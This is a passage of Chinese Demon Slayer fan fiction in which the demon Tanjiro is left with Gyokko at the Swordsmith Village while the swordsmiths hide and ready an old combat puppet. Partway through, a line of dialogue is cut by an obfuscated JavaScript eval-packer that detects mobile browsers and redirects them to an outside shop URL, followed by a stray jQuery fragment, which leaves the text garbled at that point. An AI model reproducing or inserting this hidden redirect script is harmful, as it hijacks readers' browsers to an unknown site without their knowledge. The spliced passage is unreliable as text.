无惨原本的打算是想旁敲侧击地让炭治郎回来。
刀有什么好换的?他想,什么样的好刀不能用钱买到?还非要去什么锻刀村。
鬼杀队的领地能是什么好地方?无惨撇了撇嘴心想。
可他没想到的是,黑死牟确实接下了他布置的任务,却说让炭治郎继续留在锻刀村。
“玉壶在这里........他们相处的不错.........”黑死牟声色淡淡,像是讲述一件微不足道的小事。“让他看着炭治郎.......也可。”
无惨闻言,发出一声嗤笑。
炭治郎什么性格他比谁都清楚,最看不惯喜欢肆意虐杀的鬼。
玉壶,那可是他从小就时常挂在嘴边厌恶的存在。
相处融洽?呵。
他宁可相信产屋敷那家伙能突破诅咒长命百岁,都不会相信这个。
“炭治郎很想在锻刀村找一把趁手的刀........”黑死牟轻叹一声,“大人您又需要我去做事.......如今也只能让玉壶照看一会儿了.......”
无惨:“........”
这么说,还是他的错喽。
“就不能先回来,之后再说吗?”无惨没好气道:“那什么锻刀村还能跑了?”
黑死牟看着不远处快要被玉壶身上的气味熏晕的炭治郎,嘴角的笑意变得明显了些。
“村跑不了.......人能跑。”黑死牟冷淡地语气里添加了一丝无奈,“若您现在就让炭治郎回去,怕是他也不肯.......”
“..........”
炭治郎跟着去了好几个房屋,都没有人,他不禁在心里松了口气,玉壶却气急败坏地朝空中疯狂释放金鱼海,腥臭味更加浓郁,炭治郎熏得眼前晃了一瞬,身体差点维持不住平衡。
有时候鼻子灵也不是一件好事啊。炭治郎心想。
他决定在离这家伙远点之前,还是先不呼吸了。
“玉、玉壶先生,您还好吧?”少年停止呼吸后,觉得好多了,他喉咙滚动一下,上前说道。
“为什么去了这么多个屋子,一个人都没看到?”玉壶烦躁地摆动着几只小手,“也不知道那些刀匠都上哪去了,若是让本大爷找出来.......”
炭治郎刚开口想说些什么,黑死牟此时走了过来。
“炭治郎。”黑死牟神色淡淡,“大人需要我去做一件事.........我要暂时离开。”
炭治郎愣神了一下,开口:“那.......”
“我已经跟大人说........我不在的时间.......由玉壶来照看你。”
炭治郎:“.........”
少年目光惊异地看向黑死牟,他下意识开口:“老师您.......”
黑死牟抬手制止了炭治郎接下来的话,“大人交代的任务极为重要........我会尽快........”
炭治郎嘴角微抽没再说话。
而玉壶也没察觉到炭治郎的情绪,他用自己的一只小手轻拍着少年的后背,“没问题的黑死牟大人,炭治郎小大人就交给我吧~”
“毕竟我们之间相处得很愉快呢~”
炭治郎:“...........”
看到炭治郎的表情,黑死牟眼里闪过一丝戏谑,但面上仍旧冷淡,“嗯.......如此便好。”
“...........”
炭治郎已经不知道该说什么了,他只能用眼神疯狂示意自家老师,可六只眼睛的黑死牟偏偏就没注意到。
正当炭治郎忍不住就要开口时,上弦壹上前一步伸出手,六只眼眸此时注视着对方,掌心抚摸着炭治郎的脑袋,“我很快就回来........”
...........想说的话又卡在了嗓子眼里。
张了张嘴,末了只吐出一口气,缓缓点头。
黑死牟又摸了一把脑袋,这才把手拿下来。
“乖。”
黑死牟被鸣女传送出锻刀村后,抬起手看了眼自己的掌心。
他并不担心炭治郎会遇到什么危险。先不说玉壶还是有些能力,且看在无惨的面子上会尽可能保住炭治郎。
少年也有着不小的实力。
黑死牟不由地想到在玉壶要杀死那个村民时,炭治郎的血好几次都叫水牢破裂。
他想那或许是少年的血鬼术,但黑死牟从未听炭治郎提起。
心里有些失落的同时,也不禁对炭治郎时刻保持警惕这点感到满意。
且鸣女的“眼睛”也时刻注意着炭治郎,在自己回来之前,有任何情况都会第一时间察觉并报给他。
“炭治郎喜欢人类........”黑死牟喃喃自语道。
“就是不知.......鬼杀队的剑士会怎么看待他呢?”
炭治郎跟在玉壶身后又走了几座房屋,仍旧没找见到人。
炭治郎心里不由地松了口气。
眼下身份已经暴露,少年对能找到适合自己的刀的这件事已经不报有什么希望了。
黑死牟又因为自己的事情让他和玉壶待在一起。
一开始他自是不情愿,可转念一想,跟着这家伙,如果村民遇到危险,他也可以及时救助。
少年这样想着,步伐稍稍落后了几步,玉壶转过头来见炭治郎垂眸似乎在想着什么,以为对方也是着急找不到人,锻不了刀。
他觉得此时身为一个前辈,应该起到一个表率的作用。
“亲爱的炭治郎阁下,不必着急,他们跑也跑不了多远,在下会找到最厉害的刀匠给你锻刀,之后再来奉献我的艺术。”
炭治郎闻言,低着头时,忍不住翻了个白眼,他从小厌恶玉壶的原因绝大部分都是在见证他的那些所谓的艺术。
比起无惨先生那种对人类不屑一顾权当食物需求的态度,这种以虐杀活人取乐的病态更让他厌恶。
他还记得他们第一次见面时,那股充斥着鼻腔的腥臭味。
当时若不是无惨先生,自己也恐怕成了他口中的“艺术品”。
“咦?炭治郎阁下怎么不说话?”玉壶歪着头,一只小手正要触碰到炭治郎时,少年猛地退了一步,随即伸出食指,指着刚刚他们已经探查过的屋子,大声喊道:“快
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718386|205012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看!刚刚有人影飘过去了!”
话音落下,玉壶的注意被吸引了过去,他顺着炭治郎指的方向快速飘过去,“哪里?”
而炭治郎见对方远离了他,呼出口气,随即眼神似有若无地看向不远处水缸后面的黑影。
很快,黑影被玉壶的动作惊到,从水缸后侧的房屋悄然撤离。
“没有人啊?”玉壶整个头都弯曲了下来,所有能藏人的地方都查看了一遍,什么也没找到。
炭治郎此时故作尴尬地挠了挠头,“抱歉.......应该是我看错了吧。”
而另一边逃走的刀匠火急火燎的赶回去。
锻刀村村长的房屋坐落在村子最尾端,因此炭治郎他们还未抵达。
此时屋中只余十几个人,其他的村民被组织着往林中深处躲避。
“好险!我差点被发现了!”刀匠浑身是汗,气喘吁吁的,坐在桌前喝了好几口水。
“他们快过来了吧?”铁地河问道。
放下水杯,擦了擦嘴角,把面具整理好后,心跳声也稍稍平复,他回答,“是快来了,和钢太郎带回来的消息一样只有两只鬼,但是没有见到铁池.......”
听着刀匠的话,钢铁冢来回摩搓着指心。钢太郎负责率领小辈们躲避,临走前,他紧紧握着自己手,恳求着说无论是生是死都要告知他一声。
“你有见到铁池吗?”钢铁冢开口问道。
刀匠缓缓低下了头,“没有.......”
一旁的铁穴森叹了口气,“估计是凶多吉少了........”
村长敲了敲木桌,众人的目光顿时看了过去。
“也许是时候该把那东西放出来了.........”
他看向钢铁冢,“小铁把钥匙留了下来,你去启动它吧,即便不像真正的剑士,最起码能抵挡一阵,多争取一段时间,你们存活的可能性就越大。”
钢铁冢接过钥匙时,叹了口气。
“这可是最后一个了,要是损坏,小铁估计又要哭得昏天黑地了。”
铁地河村长笑了笑,其他刀匠也跟着笑出声,气氛一时间活跃了许多。
“行了,快去吧。”
钢铁冢点头,打开屋门左右观察了一下才跑入身后的林子里。
“那人偶放了那么久,零件什么的应该已经老化了吧?这能抵抗那两只恶鬼多久呢?”铁穴森转向村长问道。
铁地河村长叹了口气,“多久都要挡,哪怕多一秒那也是生机........”
“一秒?没见过这么短的生机——哎呦!”捂着头,铁穴森委屈巴巴,“村长,干嘛打我啊,还没被鬼吃掉,就要给你打成傻子了。”
铁地河冷哼一声,转过头去不再说话。
而已经到达训练场的钢铁冢拉开门,静立在中间的人偶,红色长发被扑进来的风吹着飘散。人偶目光呆滞静静看着前方。
钢铁冢走上前,他的目光不由地看向那对耳饰。
从他见到炭治郎的第一眼时,最先想到的就是对方祖上与这位伟大英雄剑士的关系。
但得知对方时鬼之后,这个念头就消失了。